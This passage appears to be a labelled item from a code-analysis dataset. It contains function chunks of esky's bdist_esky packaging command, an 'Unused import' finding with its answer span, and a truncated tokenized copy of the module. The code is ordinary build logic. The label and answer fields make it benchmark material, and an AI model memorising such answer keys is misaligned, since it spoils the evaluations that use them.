freezer module exe.\n\n dont_run_startup_hooks: don't force all executables to call\n esky.run_startup_hooks() on startup.\n\n bundle_msvcrt: whether to bundle the MSVCRT DLLs, manifest files etc\n as a private assembly. The default is False; only\n those with a valid license to redistriute these files\n should enable it.\n\n\n\n pre_freeze_callback: function to call just before starting to freeze\n the application; this is a good opportunity to\n customize the bdist_esky instance.\n\n pre_zip_callback: function to call just before starting to zip up\n the frozen application; this is a good opportunity\n to e.g. sign the resulting executables.\n \n \"\"\"\n\n description = \"create a frozen app in 'esky' format\"\n\n user_options = [\n ('dist-dir=', 'd',\n \"directory to put final built distributions in\"),\n ('freezer-module=', None,\n \"module to use for freezing the application\"),\n ('freezer-options=', None,\n \"options to pass to the underlying freezer module\"),\n ('bootstrap-module=', None,\n \"module to use for bootstrapping the application\"),\n ('bootstrap-code=', None,\n \"code to use for bootstrapping the application\"),\n ('compile-bootstrap-exes=', None,\n \"whether to compile the bootstrapping exes with pypy\"),\n ('bundle-msvcrt=', None,\n \"whether to bundle MSVCRT as private assembly\"),\n ('includes=', None,\n \"list of modules to specifically include\"),\n ('excludes=', None,\n \"list of modules to specifically exclude\"),\n ('dont-run-startup-hooks=', None,\n \"don't force execution of esky.run_startup_hooks()\"),\n ('pre-freeze-callback=', None,\n \"function to call just before starting to freeze the app\"),\n ('pre-zip-callback=', None,\n \"function to call just before starting to zip up the app\"),\n ('enable-appdata-dir=', None,\n \"enable new 'appdata' directory layout (will go away after the 0.9.X series)\"),\n ('detached-bootstrap-library=', None,\n \"By default Esky appends the library.zip to the bootstrap executable when using CX_Freeze, this will tell esky to not do that, but create a separate library.zip instead\"),\n ('compress=', 'c',\n \"Compression options of the Esky, use lower case for compressed or upper case for uncompressed, currently only support zip files\"),\n ]\n\n boolean_options = [\"bundle-msvcrt\",\"dont-run-startup-hooks\",\"compile-bootstrap-exes\",\"enable-appdata-dir\"]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n \n \n\n\n\n\n", "metadata": "root.bdist_esky", "header": "['module', '___EOS___']", "index": 155 }, { "content": " def initialize_options(self):\n self.dist_dir = None\n self.includes = []\n self.excludes = []\n self.freezer_module = None\n self.freezer_options = {}\n self.bundle_msvcrt = False\n self.dont_run_startup_hooks = False\n self.bootstrap_module = None\n self.bootstrap_code = None\n self.compile_bootstrap_exes = False\n self._compiled_exes = {}\n self.pre_freeze_callback = None\n self.pre_zip_callback = None\n self.enable_appdata_dir = False\n self.detached_bootstrap_library = False\n self.compress = 'zip'", "metadata": "root.bdist_esky.initialize_options", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 253 }, { "content": " def finalize_options(self):\n assert self.compress in (False, None, 'false', 'none', 'zip', 'ZIP'), 'Bad options passed to compress'\n\n self.set_undefined_options('bdist',('dist_dir', 'dist_dir'))\n if self.compile_bootstrap_exes and pypyc is None:\n raise PYPYC_ERROR\n if self.freezer_module is None:\n for freezer_module in (\"py2exe\",\"py2app\",\"bbfreeze\",\"cxfreeze\"):\n self.freezer_module = _FREEZERS[freezer_module]\n if self.freezer_module is not None:\n break\n else:\n err = \"no supported freezer modules found\"\n err += \" (try installing bbfreeze)\"\n raise RuntimeError(err)\n else:\n try:\n freezer = _FREEZERS[self.freezer_module]\n except KeyError:\n err = \"freezer module not supported: '%s'\"\n err = err % (self.freezer_module,)\n raise RuntimeError(err)\n else:\n if freezer is None:\n err = \"freezer module not found: '%s'\"\n err = err % (self.freezer_module,)\n raise RuntimeError(err)\n self.freezer_module = freezer\n if isinstance(self.pre_freeze_callback,basestring):\n self.pre_freeze_callback = self._name2func(self.pre_freeze_callback)\n if isinstance(self.pre_zip_callback,basestring):\n self.pre_zip_callback = self._name2func(self.pre_zip_callback)", "metadata": "root.bdist_esky.finalize_options", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 271 }, { "content": " def _name2func(self,name):\n \"\"\"Convert a dotted name into a function reference.\"\"\"\n if \".\" not in name:\n return globals()[name]\n modname,funcname = name.rsplit(\".\",1)\n mod = __import__(modname,fromlist=[funcname])\n return getattr(mod,funcname)", "metadata": "root.bdist_esky._name2func", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 304 }, { "content": " def run(self):\n self.tempdir = tempfile.mkdtemp()\n try:\n self._run()\n finally:\n really_rmtree(self.tempdir)", "metadata": "root.bdist_esky.run", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 312 }, { "content": " def _run(self):\n self._run_initialise_dirs()\n if self.pre_freeze_callback is not None:\n self.pre_freeze_callback(self)\n self._run_freeze_scripts()\n if self.pre_zip_callback is not None:\n self.pre_zip_callback(self)\n self._generate_filelist_manifest()\n self._run_create_zipfile()", "metadata": "root.bdist_esky._run", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 319 }, { "content": " def _run_initialise_dirs(self):\n \"\"\"Create the dirs into which to freeze the app.\"\"\"\n fullname = self.distribution.get_fullname()\n platform = get_platform()\n self.bootstrap_dir = os.path.join(self.dist_dir,\n \"%s.%s\"%(fullname,platform,))\n if self.enable_appdata_dir:\n self.freeze_dir = os.path.join(self.bootstrap_dir,ESKY_APPDATA_DIR,\n \"%s.%s\"%(fullname,platform,))\n else:\n self.freeze_dir = os.path.join(self.bootstrap_dir,\n \"%s.%s\"%(fullname,platform,))\n if os.path.exists(self.bootstrap_dir):\n really_rmtree(self.bootstrap_dir)\n os.makedirs(self.freeze_dir)", "metadata": "root.bdist_esky._run_initialise_dirs", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 329 }, { "content": " def _run_freeze_scripts(self):\n \"\"\"Call the selected freezer module to freeze the scripts.\"\"\"\n fullname = self.distribution.get_fullname()\n platform = get_platform()\n self.freezer_module.freeze(self)\n if platform != \"win32\":\n lockfile = os.path.join(self.freeze_dir,ESKY_CONTROL_DIR,\"lockfile.txt\")\n with open(lockfile,\"w\") as lf:\n lf.write(\"this file is used by esky to lock the version dir\\n\")", "metadata": "root.bdist_esky._run_freeze_scripts", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 345 }, { "content": " def _generate_filelist_manifest(self):\n \"\"\"Create a list of all the files in application\"\"\"\n filelist_file = os.path.join(self.freeze_dir,ESKY_CONTROL_DIR, esky.patch.ESKY_FILELIST)\n esky_files = []\n for root, dirs, files in os.walk(self.bootstrap_dir):\n for f in files:\n esky_files.append(os.path.join(os.path.relpath(root, self.bootstrap_dir), f))\n with open(filelist_file, 'w') as f:\n f.write(json.dumps(esky_files))", "metadata": "root.bdist_esky._generate_filelist_manifest", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 356 }, { "content": " def _run_create_zipfile(self):\n \"\"\"Zip up the final distribution.\"\"\"\n if self.compress:\n fullname = self.distribution.get_fullname()\n platform = get_platform()\n zfname = os.path.join(self.dist_dir,\"%s.%s.zip\"%(fullname,platform,))\n if hasattr(self.freezer_module,\"zipit\"):\n self.freezer_module.zipit(self,self.bootstrap_dir,zfname)\n else:\n if self.compress == 'zip':\n print \"zipping up the esky with compression\"\n create_zipfile(self.bootstrap_dir,zfname,compress=True)\n really_rmtree(self.bootstrap_dir)\n elif self.compress == 'ZIP':\n print \"zipping up the esky without compression\"\n create_zipfile(self.bootstrap_dir,zfname,compress=False)\n really_rmtree(self.bootstrap_dir)\n else:\n print(\"To zip the esky use compress or c set to ZIP or zip\")", "metadata": "root.bdist_esky._run_create_zipfile", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 367 }, { "content": " def _obj2code(self,obj):\n \"\"\"Convert an object to some python source code.\n\n Iterables are flattened, None is elided, strings are included verbatim,\n open files are read and anything else is passed to inspect.getsource().\n \"\"\"\n if obj is None:\n return \"\"\n if isinstance(obj,basestring):\n return obj\n if hasattr(obj,\"read\"):\n return obj.read()\n try:\n return \"\\n\\n\\n\".join(self._obj2code(i) for i in obj)\n except TypeError:\n return inspect.getsource(obj)", "metadata": "root.bdist_esky._obj2code", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 387 }, { "content": " def get_bootstrap_code(self):\n \"\"\"Get any extra code to be executed by the bootstrapping exe.\n\n This method interprets the bootstrap-code and bootstrap-module settings\n to construct any extra bootstrapping code that must be executed by\n the frozen bootstrap executable. It is returned as a string.\n \"\"\"\n bscode = self.bootstrap_code\n if bscode is None:\n if self.bootstrap_module is not None:\n bscode = __import__(self.bootstrap_module)\n for submod in self.bootstrap_module.split(\".\")[1:]:\n bscode = getattr(bscode,submod)\n bscode = self._obj2code(bscode)\n return bscode", "metadata": "root.bdist_esky.get_bootstrap_code", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 404 }, { "content": " def get_executables(self,normalise=True):\n \"\"\"Yield a normalised Executable instance for each script to be frozen.\n\n If \"normalise\" is True (the default) then the user-provided scripts\n will be rewritten to decode any non-filename items specified as part\n of the script, and to include the esky startup code. If the freezer\n has a better way of doing these things, it should pass normalise=False.\n \"\"\"\n if normalise:\n if not os.path.exists(os.path.join(self.tempdir,\"scripts\")):\n os.mkdir(os.path.join(self.tempdir,\"scripts\"))\n if self.distribution.has_scripts():\n for s in self.distribution.scripts:\n if isinstance(s,Executable):\n exe = s\n else:\n exe = Executable(s)\n if normalise:\n # Give the normalised script file a name matching that\n # specified, since some freezers only take the filename.\n name = exe.name\n if sys.platform == \"win32\" and name.endswith(\".exe\"):\n name = name[:-4]\n if exe.endswith(\".pyw\"):\n ext = \".pyw\"\n else:\n ext = \".py\"\n script = os.path.join(self.tempdir,\"scripts\",name+ext)\n # Get the code for the target script.\n # If it's a single string then interpret it as a filename,\n # otherwise feed it into the _obj2code logic.\n if isinstance(exe.script,basestring):\n with open(exe.script,\"rt\") as f:\n code = f.read()\n else:\n code = self._obj2code(exe.script)\n # Check that the code actually compiles - sometimes it\n # can be hard to get a good message out of the freezer.\n compile(code,\"\",\"exec\")\n # Augment the given code with special esky-related logic.\n with open(script,\"wt\") as fOut:\n lines = (ln+\"\\n\" for ln in code.split(\"\\n\"))\n # Keep any leading comments and __future__ imports\n # at the start of the file.\n for ln in lines:\n if ln.strip():\n if not ln.strip().startswith(\"#\"):\n if \"__future__\" not in ln:\n break\n fOut.write(ln)\n # Run the startup hooks before any actual code.\n if not self.dont_run_startup_hooks:\n fOut.write(\"import esky\\n\")\n fOut.write(\"esky.run_startup_hooks()\\n\")\n fOut.write(\"\\n\")\n # Then just include the rest of the script code.\n fOut.write(ln)\n for ln in lines:\n fOut.write(ln)\n new_exe = Executable(script)\n new_exe.__dict__.update(exe.__dict__)\n new_exe.script = script\n exe = new_exe\n yield exe", "metadata": "root.bdist_esky.get_executables", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 420 }, { "content": " def get_data_files(self):\n \"\"\"Yield (source,destination) tuples for data files.\n\n This method generates the names of all data file to be included in\n the frozen app. They should be placed directly into the freeze\n directory as raw files.\n \"\"\"\n fdir = self.freeze_dir\n if sys.platform == \"win32\" and self.bundle_msvcrt:\n for (src,dst) in self.get_msvcrt_private_assembly_files():\n yield (src,dst)\n if self.distribution.data_files:\n for datafile in self.distribution.data_files:\n # Plain strings get placed in the root dist directory.\n if isinstance(datafile,basestring):\n datafile = (\"\",[datafile])\n (dst,sources) = datafile\n if os.path.isabs(dst):\n err = \"cant freeze absolute data_file paths (%s)\"\n err = err % (dst,)\n raise ValueError(err)\n dst = convert_path(dst)\n for src in sources:\n src = convert_path(src)\n yield (src,os.path.join(dst,os.path.basename(src)))", "metadata": "root.bdist_esky.get_data_files", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 485 }, { "content": " def get_package_data(self):\n \"\"\"Yield (source,destination) tuples for package data files.\n\n This method generates the names of all package data files to be\n included in the frozen app. They should be placed in the library.zip\n or equivalent, alongside the python files for that package.\n \"\"\"\n if self.distribution.package_data:\n for pkg,data in self.distribution.package_data.iteritems():\n pkg_dir = self.get_package_dir(pkg)\n pkg_path = pkg.replace(\".\",\"/\")\n if isinstance(data,basestring):\n data = [data]\n for dpattern in data:\n dfiles = glob(os.path.join(pkg_dir,convert_path(dpattern)))\n for nm in dfiles:\n arcnm = pkg_path + nm[len(pkg_dir):]\n yield (nm,arcnm)", "metadata": "root.bdist_esky.get_package_data", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 511 }, { "content": " def get_package_dir(self,pkg):\n \"\"\"Return directory where the given package is located.\n\n This was largely swiped from distutils, with some cleanups.\n \"\"\"\n inpath = pkg.split(\".\")\n outpath = []\n if not self.distribution.package_dir:\n outpath = inpath\n else:\n while inpath:\n try:\n dir = self.distribution.package_dir[\".\".join(inpath)]\n except KeyError:\n outpath.insert(0, inpath[-1])\n del inpath[-1]\n else:\n outpath.insert(0, dir)\n break\n else:\n try:\n dir = self.package_dir[\"\"]\n except KeyError:\n pass\n else:\n outpath.insert(0, dir)\n if outpath:\n return os.path.join(*outpath)\n else:\n return \"\"", "metadata": "root.bdist_esky.get_package_dir", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 530 }, { "content": " @staticmethod\n def get_msvcrt_private_assembly_files():\n \"\"\"Get (source,destination) tuples for the MSVCRT DLLs, manifest etc.\n\n This method generates data_files tuples for the MSVCRT DLLs, manifest\n and associated paraphernalia. Including these files is required for\n newer Python versions if you want to run on machines that don't have\n the latest C runtime installed *and* you don't want to run the special\n \"vcredist_x86.exe\" program during your installation process.\n\n Bundling is only performed on win32 paltforms, and only if you enable\n it explicitly. Before doing so, carefully check whether you have a\n license to distribute these files.\n \"\"\"\n cls = bdist_esky\n msvcrt_info = cls._get_msvcrt_info()\n if msvcrt_info is not None:\n msvcrt_name = msvcrt_info[0]\n # Find installed manifest file with matching info\n for candidate in cls._find_msvcrt_manifest_files(msvcrt_name):\n manifest_file, msvcrt_dir = candidate\n try:\n with open(manifest_file,\"rb\") as mf:\n manifest_data = mf.read()\n for info in msvcrt_info:\n if info.encode() not in manifest_data:\n break\n else:\n break\n except EnvironmentError:\n pass\n else:\n err = \"manifest for %s not found\" % (msvcrt_info,)\n raise RuntimeError(err)\n # Copy the manifest and matching directory into the freeze dir.\n manifest_name = msvcrt_name + \".manifest\"\n yield (manifest_file,os.path.join(msvcrt_name,manifest_name))\n for fnm in os.listdir(msvcrt_dir):\n yield (os.path.join(msvcrt_dir,fnm),\n os.path.join(msvcrt_name,fnm))", "metadata": "root.bdist_esky.get_msvcrt_private_assembly_files", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 561 }, { "content": " @staticmethod\n def _get_msvcrt_info():\n \"\"\"Get info about the MSVCRT in use by this python executable.\n\n This parses the name, version and public key token out of the exe\n manifest and returns them as a tuple.\n \"\"\"\n try:\n manifest_str = winres.get_app_manifest()\n except EnvironmentError:\n return None\n manifest = minidom.parseString(manifest_str)\n for assembly in manifest.getElementsByTagName(\"assemblyIdentity\"):\n name = assembly.attributes[\"name\"].value\n if name.startswith(\"Microsoft\") and name.endswith(\"CRT\"):\n version = assembly.attributes[\"version\"].value \n pubkey = assembly.attributes[\"publicKeyToken\"].value \n return (name,version,pubkey)\n return None", "metadata": "root.bdist_esky._get_msvcrt_info", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 602 }, { "content": " @staticmethod\n def _find_msvcrt_manifest_files(name):\n \"\"\"Search the system for candidate MSVCRT manifest files.\n\n This method yields (manifest_file,msvcrt_dir) tuples giving a candidate\n manifest file for the given assembly name, and the directory in which\n the actual assembly data files are found.\n \"\"\"\n cls = bdist_esky\n # Search for redist files in a Visual Studio install\n progfiles = os.path.expandvars(\"%PROGRAMFILES%\")\n for dnm in os.listdir(progfiles):\n if dnm.lower().startswith(\"microsoft visual studio\"):\n dpath = os.path.join(progfiles,dnm,\"VC\",\"redist\")\n for (subdir,_,filenames) in os.walk(dpath):\n for fnm in filenames:\n if name.lower() in fnm.lower():\n if fnm.lower().endswith(\".manifest\"):\n mf = os.path.join(subdir,fnm)\n md = cls._find_msvcrt_dir_for_manifest(name,mf)\n if md is not None:\n yield (mf,md)\n # Search for manifests installed in the WinSxS directory\n winsxs_m = os.path.expandvars(\"%WINDIR%\\\\WinSxS\\\\Manifests\")\n for fnm in os.listdir(winsxs_m):\n if name.lower() in fnm.lower():\n if fnm.lower().endswith(\".manifest\"):\n mf = os.path.join(winsxs_m,fnm)\n md = cls._find_msvcrt_dir_for_manifest(name,mf)\n if md is not None:\n yield (mf,md)\n winsxs = os.path.expandvars(\"%WINDIR%\\\\WinSxS\")\n for fnm in os.listdir(winsxs):\n if name.lower() in fnm.lower():\n if fnm.lower().endswith(\".manifest\"):\n mf = os.path.join(winsxs,fnm)\n md = cls._find_msvcrt_dir_for_manifest(name,mf)\n if md is not None:\n yield (mf,md)", "metadata": "root.bdist_esky._find_msvcrt_manifest_files", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 623 }, { "content": " @staticmethod\n def _find_msvcrt_dir_for_manifest(msvcrt_name,manifest_file):\n \"\"\"Find the directory containing data files for the given manifest.\n\n This searches a few common locations for the data files that go with\n the given manifest file. If a suitable directory is found then it is\n returned, otherwise None is returned.\n \"\"\"\n # The manifest file might be next to the dir, inside the dir, or\n # in a subdir named \"Manifests\". Walk around till we find it.\n msvcrt_dir = \".\".join(manifest_file.split(\".\")[:-1])\n if os.path.isdir(msvcrt_dir):\n return msvcrt_dir\n msvcrt_basename = os.path.basename(msvcrt_dir)\n msvcrt_parent = os.path.dirname(os.path.dirname(msvcrt_dir))\n msvcrt_dir = os.path.join(msvcrt_parent,msvcrt_basename)\n if os.path.isdir(msvcrt_dir):\n return msvcrt_dir\n msvcrt_dir = os.path.join(msvcrt_parent,msvcrt_name)\n if os.path.isdir(msvcrt_dir):\n return msvcrt_dir\n return None", "metadata": "root.bdist_esky._find_msvcrt_dir_for_manifest", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 663 }, { "content": " def compile_to_bootstrap_exe(self,exe,source,relpath=None):\n \"\"\"Compile the given sourcecode into a bootstrapping exe.\n\n This method compiles the given sourcecode into a stand-alone exe using\n PyPy, then stores that in the bootstrap env under the name of the given\n Executable object. If the source has been previously compiled then a\n cached version of the exe may be used.\n \"\"\"\n if not relpath:\n relpath = exe.name\n source = \"__rpython__ = True\\n\" + source\n cdir = os.path.join(self.tempdir,\"compile\")\n if not os.path.exists(cdir):\n os.mkdir(cdir)\n source_hash = hashlib.md5(source).hexdigest()\n outname = \"bootstrap_%s.%s\" % (source_hash,get_platform())\n if exe.gui_only:\n outname += \".gui\"\n if sys.platform == \"win32\":\n outname += \".exe\"\n # First try to use a precompiled version.\n if COMPILED_BOOTSTRAP_CACHE is not None:\n outfile = os.path.join(COMPILED_BOOTSTRAP_CACHE,outname)\n if os.path.exists(outfile):\n return self.copy_to_bootstrap_env(outfile,relpath)\n # Otherwise we have to compile it anew.\n try:\n outfile = self._compiled_exes[(source_hash,exe.gui_only)]\n except KeyError:\n infile = os.path.join(cdir,\"bootstrap.py\")\n outfile = os.path.join(cdir,outname)\n with open(infile,\"wt\") as f:\n f.write(source)\n opts = dict(gui_only=exe.gui_only)\n pypyc.compile_rpython(infile,outfile,**opts)\n self._compiled_exes[(source_hash,exe.gui_only)] = outfile\n # Try to save the compiled exe for future use.\n if COMPILED_BOOTSTRAP_CACHE is not None:\n cachedfile = os.path.join(COMPILED_BOOTSTRAP_CACHE,outname)\n try:\n shutil.copy2(outfile,cachedfile)\n except EnvironmentError:\n pass\n return self.copy_to_bootstrap_env(outfile,relpath)", "metadata": "root.bdist_esky.compile_to_bootstrap_exe", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 687 }, { "content": " def copy_to_bootstrap_env(self,src,dst=None):\n \"\"\"Copy the named file into the bootstrap environment.\n\n The filename is also added to the bootstrap manifest.\n \"\"\"\n if dst is None:\n dst = src\n srcpath = os.path.join(self.freeze_dir,src)\n dstpath = os.path.join(self.bootstrap_dir,dst)\n if os.path.isdir(srcpath):\n self.copy_tree(srcpath,dstpath)\n else:\n if not os.path.isdir(os.path.dirname(dstpath)):\n self.mkpath(os.path.dirname(dstpath))\n self.copy_file(srcpath,dstpath)\n self.add_to_bootstrap_manifest(dstpath)\n return dstpath", "metadata": "root.bdist_esky.copy_to_bootstrap_env", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 732 }, { "content": " def add_to_bootstrap_manifest(self,dstpath):\n if not os.path.isdir(os.path.join(self.freeze_dir,ESKY_CONTROL_DIR)):\n os.mkdir(os.path.join(self.freeze_dir,ESKY_CONTROL_DIR))\n f_manifest = os.path.join(self.freeze_dir,ESKY_CONTROL_DIR,\"bootstrap-manifest.txt\")\n with open(f_manifest,\"at\") as f_manifest:\n f_manifest.seek(0,os.SEEK_END)\n if os.path.isdir(dstpath):\n for (dirnm,_,filenms) in os.walk(dstpath):\n for fnm in filenms:\n fpath = os.path.join(dirnm,fnm)\n dpath = fpath[len(self.bootstrap_dir)+1:]\n if os.sep != \"/\":\n dpath = dpath.replace(os.sep,\"/\")\n f_manifest.write(dpath)\n f_manifest.write(\"\\n\")\n else:\n dst = dstpath[len(self.bootstrap_dir)+1:]\n if os.sep != \"/\":\n dst = dst.replace(os.sep,\"/\")\n f_manifest.write(dst)\n f_manifest.write(\"\\n\")", "metadata": "root.bdist_esky.add_to_bootstrap_manifest", "header": "['class', 'bdist_esky', '(', 'Command', ')', ':', '___EOS___']", "index": 750 }, { "content": "class bdist_esky_patch(Command):\n \"\"\"Create a patch for a frozen application in 'esky' format.\n\n This distutils command can be used to create a patch file between two\n versions of an application frozen with esky. Such a patch can be used\n for differential updates between application versions.\n \"\"\"\n\n user_options = [\n ('dist-dir=', 'd',\n \"directory to put final built distributions in\"),\n ('from-version=', None,\n \"version against which to produce patch\"),\n ]\n\n\n", "metadata": "root.bdist_esky_patch", "header": "['module', '___EOS___']", "index": 773 }, { "content": " def initialize_options(self):\n self.dist_dir = None\n self.from_version = None", "metadata": "root.bdist_esky_patch.initialize_options", "header": "['class', 'bdist_esky_patch', '(', 'Command', ')', ':', '___EOS___']", "index": 788 }, { "content": " def finalize_options(self):\n self.set_undefined_options('bdist',('dist_dir', 'dist_dir'))", "metadata": "root.bdist_esky_patch.finalize_options", "header": "['class', 'bdist_esky_patch', '(', 'Command', ')', ':', '___EOS___']", "index": 792 }, { "content": " def run(self):\n fullname = self.distribution.get_fullname()\n platform = get_platform()\n vdir = \"%s.%s\" % (fullname,platform,)\n appname = split_app_version(vdir)[0]\n # Ensure we have current version's esky, as target for patch.\n target_esky = os.path.join(self.dist_dir,vdir+\".zip\")\n if not os.path.exists(target_esky):\n self.run_command(\"bdist_esky\")\n # Generate list of source eskys to patch against.\n if self.from_version:\n source_vdir = join_app_version(appname,self.from_version,platform)\n source_eskys = [os.path.join(self.dist_dir,source_vdir+\".zip\")]\n else:\n source_eskys = []\n for nm in os.listdir(self.dist_dir):\n if target_esky.endswith(nm):\n continue\n if nm.startswith(appname+\"-\") and nm.endswith(platform+\".zip\"):\n source_eskys.append(os.path.join(self.dist_dir,nm))\n # Write each patch, transparently unzipping the esky\n for source_esky in source_eskys:\n target_vdir = os.path.basename(source_esky)[:-4]\n target_version = split_app_version(target_vdir)[1]\n patchfile = vdir+\".from-%s.patch\" % (target_version,)\n patchfile = os.path.join(self.dist_dir,patchfile)\n print \"patching\", target_esky, \"against\", source_esky, \"=>\", patchfile\n if not self.dry_run:\n try:\n esky.patch.main([\"-Z\",\"diff\",source_esky,target_esky,patchfile])\n except:\n import traceback\n traceback.print_exc()\n raise", "metadata": "root.bdist_esky_patch.run", "header": "['class', 'bdist_esky_patch', '(', 'Command', ')', ':', '___EOS___']", "index": 795 } ]
[ { "span": "import setuptools", "start_line": 57, "start_column": 4, "end_line": 57, "end_column": 21 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "200", "9", "-", "2010", ",", " ", "Cloud", " ", "Matrix", " ", "Pt", "y", ".", " ", "Lt", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "All", " ", "rights", " ", "reserve", "d", ";", " ", "avail", "able", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "BS", "D", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "\\", "10", ";", " ", " ", "es", "ky", ".", "bdist", "\\u", "es", "ky", ":", " ", " ", "distutils", " ", "command", " ", "to", " ", "freez", "e", " ", "apps", " ", "in", " ", "es", "ky", " ", "format", "\\", "10", ";", "\\", "10", ";", "Import", "ing", " ", "this", " ", "module", " ", "make", "s", " ", "\"", "bdist", "\\u", "es", "ky", "\"", " ", "avail", "able", " ", "as", " ", "a", " ", "distutils", " ", "command", ".", "\\", "10", ";", "Thi", "s", " ", "command", " ", "will", " ", "freez", "e", " ", "the", " ", "give", "n", " ", "scripts", " ", "and", " ", "package", " ", "them", " ", "int", "o", " ", "a", " ", "zipfi", "le", "\\", "10", ";", "named", " ", "with", " ", "the", " ", "applica", "tion", " ", "name", ",", " ", "version", " ", "and", " ", "platform", ".", "\\", "10", ";", "\\", "10", ";", "The", " ", "main", " ", "interface", " ", "is", " ", "the", " ", "'", "Es", "ky", "'", " ", "class", ",", " ", "whi", "ch", " ", "represent", "s", " ", "a", " ", "frozen", " ", "app", ".", " ", " ", "An", " ", "Es", "ky", "\\", "10", ";", "must", " ", "be", " ", "give", "n", " ", "the", " ", "path", " ", "to", " ", "the", " ", "top", "-", "level", " ", "director", "y", " ", "of", " ", "the", " ", "frozen", " ", "app", ",", " ", "and", " ", "a", "\\", "10", ";'", "Version", "Fin", "der", "'", " ", "object", " ", "tha", "t", " ", "it", " ", "will", " ", "use", " ", "to", " ", "search", " ", "for", " ", "update", "s", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "with", "\\u", "statement_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "inspect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glob_", "import_", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "distutils_", "._", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "._", "core_", "import_", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "._", "util_", "import_", "convert", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "es", "ky_", "._", "patch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "es", "ky_", "._", "util_", "import_", "get", "\\u", "platform_", ",_", "create", "\\u", "zipfile_", ",_", "split", "\\u", "app", "\\u", "version_", ",_", "join", "\\u", "app", "\\u", "version_", ",_", "ES", "KY", "\\u", "CONTR", "OL", "\\u", "DIR_", ",_", "ES", "KY", "\\u", "APP", "DATA", "\\u", "DIR_", ",_", "reall", "y", "\\u", "rmtree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "platform_", "==_", "\"", "win32", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "es", "ky_", "import_", "winr", "es_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xml_", "._", "dom_", "import_", "minidom_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "es", "ky_", "._", "bdist", "\\u", "es", "ky_", "import_", "pypy", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pypy", "c_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PY", "PY", "C", "\\u", "ERROR_", "=_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "COMPIL", "ED", "\\u", "BOOT", "STRA", "P", "\\u", "CACHE_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "COMPIL", "ED", "\\u", "BOOT", "STRA", "P", 